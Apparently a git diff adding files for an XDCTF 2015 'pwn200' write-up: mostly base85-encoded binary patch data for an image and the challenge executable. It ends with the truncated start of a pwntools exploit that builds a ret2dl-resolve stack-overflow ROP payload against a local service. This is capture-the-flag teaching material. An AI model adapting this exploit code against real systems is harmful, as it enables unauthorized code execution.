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 QSUeEY5(?r4qIy361A@}}kN^Mx literal 0 HcmV?d00001 diff --git a/src/writeup/6.3_pwn_xdctf2015_pwn200/a.out b/src/writeup/6.3_pwn_xdctf2015_pwn200/a.out new file mode 100755 index 0000000000000000000000000000000000000000..cd38f5d1069dae8cdf3f133090e5586e63aca007 GIT binary patch literal 5520 zcmeHLU2Gdw7QS{StpPJNkV0uI?Eoo+RXe2J^3N`D6E`ii#Z42stCAY0o@87c8|*Qp zt1jCxO@DAK8L4RZVYL(qi3ffq5Cnm=DQ;^aRoX5*fL1GQ5sTJ^AXQ7L`rxhkzB|5P z0uM+$l4G4Yf8Ral&b@cW_s$<98`k=KKB34jS_G}=UM;X1vhy-8vRWA8BGDn1iX~zm zT#T*W0}R+e19B^T8n^}A54(R{3y`mXO=b*k$q+)IEjbhrg3R_JIAbc<9-Nj0r(j$K(4|jGtL@h8+aSF$vv>iDi;0JNlXJgy-y2}??Q~M;+qkN`8{HO zlox%7H}_9NEy;*M6*r}lLpP-oD^kgHe$32e%vD})wq?9`(*UmCIPqRctlb9Y*fD<3 zL!a*&j1@k+;h~8yp8od>#mM%5enjjgVCIlxWe5YR^u2WNC)3oM=~qq0<sQ+4L!5`#Y2YNqfUAdvTM^WwU&iy}!vepz~hd!T9suFXPB!+;(uhZV|Ed_r-Ef zBAJfmb5=q~71wOaN{g%&m!3@C5jo2l$`6ZJj7`xZo^@iQ@nl*&mQ6aA=-se>O?PaS z*@=Yx8)FG8YmFpxj+O1-*qzFxt^W8>%0lar(M-D0I_5!t5Qu*IgO(_0a&$V4cpxh=1>w9{JM38#BBu&vCpqJFc67WHKTT&2B?6>O@f zPoYVD87tY0ojxgTRmd#OPhBzT!JlWfY%pqfILkGC?P@4d2z^9ncW0XF#glel6+oT>@*c==^K2nF{n z^n$=N6$cLWMXTamc2pt%NGjn`ENV37o9ox|3+tm#mL@hb^bSfi_+fdt1k3B)$7ns<|Zty`%V=K*Q=*lqtG3L~lHPUoQF3+r+pP9|q|53;9pnqrq+4V}ss!H`e+G$TeQx!WvxMd{6rDeEF8N+<6;x zzMBm|`XTo~jzR82(n-h@kgw8@KFvU$g1ilL!1pc5_xnEK+a2&N32NE__zn2*Oo^kl zdi_C2p$FFL!Fv{5;%H;y?!|Zha#j1ad_cMwLoNAWK{ddv|3CQFLW-~+nDDQ;w6(`= zdHh%z*@a+V*|#?I>3L#$fbnHQSx&+iVk`151_(huql9Cf!Kt?P0y6M_=BfcW%^;UcD_`)FU!e$sr(7+7jk|ab z+g9u~rayg8Il;xwF02$Pl_&)LFE>`Lc$je63_dXY!1Y%ZBef5(U+mbFsEd&CU>BC#$jf3 zP39TO<%GE-GdgOe9W@v~LaK8*=URRT!NhSs6>%O(^x-%s&yn(b1p)?aMOkL9{0 zj%$1p%CpcF5lh+x=K3U#YtuxdMbK4U`pMhCT+h_Grq=;yKyR)KQ}7gvW3e|bz}dic zz*hNq4_ur%FmY?Ze1=L*I6hYjw;MY9$~t_;r+~W-x+3C8kAW5L6mX}2dys(!aZHGP z0<3Udcuu{LTg3UGOPVxR>Bi`D(~lV_iBLq;PM-#wR(s7UXw17%E06b#fVuPjeC{ z_-^5MI@pR7?(cA*l*GyJc)(Q~K4OXEeeDCYJD3Lf4P^$n+2ca&M@=}sWBKAW;8UdP zehi1oX8>ma_e10NU*PCxU7r3sfMX6t%t7LLl6of%5OI8uD`HGBb1AwVxUZA}sq%dd D0N41` literal 0 HcmV?d00001 diff --git a/src/writeup/6.3_pwn_xdctf2015_pwn200/exp_use_ret2dl-resolve.py b/src/writeup/6.3_pwn_xdctf2015_pwn200/exp_use_ret2dl-resolve.py new file mode 100644 index 0000000..7dc32b2 --- /dev/null +++ b/src/writeup/6.3_pwn_xdctf2015_pwn200/exp_use_ret2dl-resolve.py @@ -0,0 +1,189 @@ +from pwn import * + +# context.log_level = 'debug' + +elf = ELF('./a.out') +io = remote('127.0.0.1', 10001) +io.recv() + +pppr_addr = 0x08048699 # pop esi ; pop edi ; pop ebp ; ret +pop_ebp_addr = 0x0804869b # pop ebp ; ret +leave_ret_addr = 0x080484b6 # leave ; ret + +write_plt = elf.plt['write'] +write_got = elf.got['write'] +read_plt = elf.plt['read'] + +plt_0 = elf.get_section_by_name('.plt').header.sh_addr # 0x80483e0 +rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr # 0x8048390 +dynsym = elf.get_section_by_name('.dynsym').header.sh_addr # 0x80481cc +dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # 0x804828c +bss_addr = elf.get_section_by_name('.bss').header.sh_addr # 0x804a028 + +base_addr = bss_addr + 0x600 # 0x804a628 + +payload_1 = "A" * 112 +payload_1 += p32(read_plt) +payload_1 += p32(pppr_addr) +payload_1 += p32(0) +payload_1 += 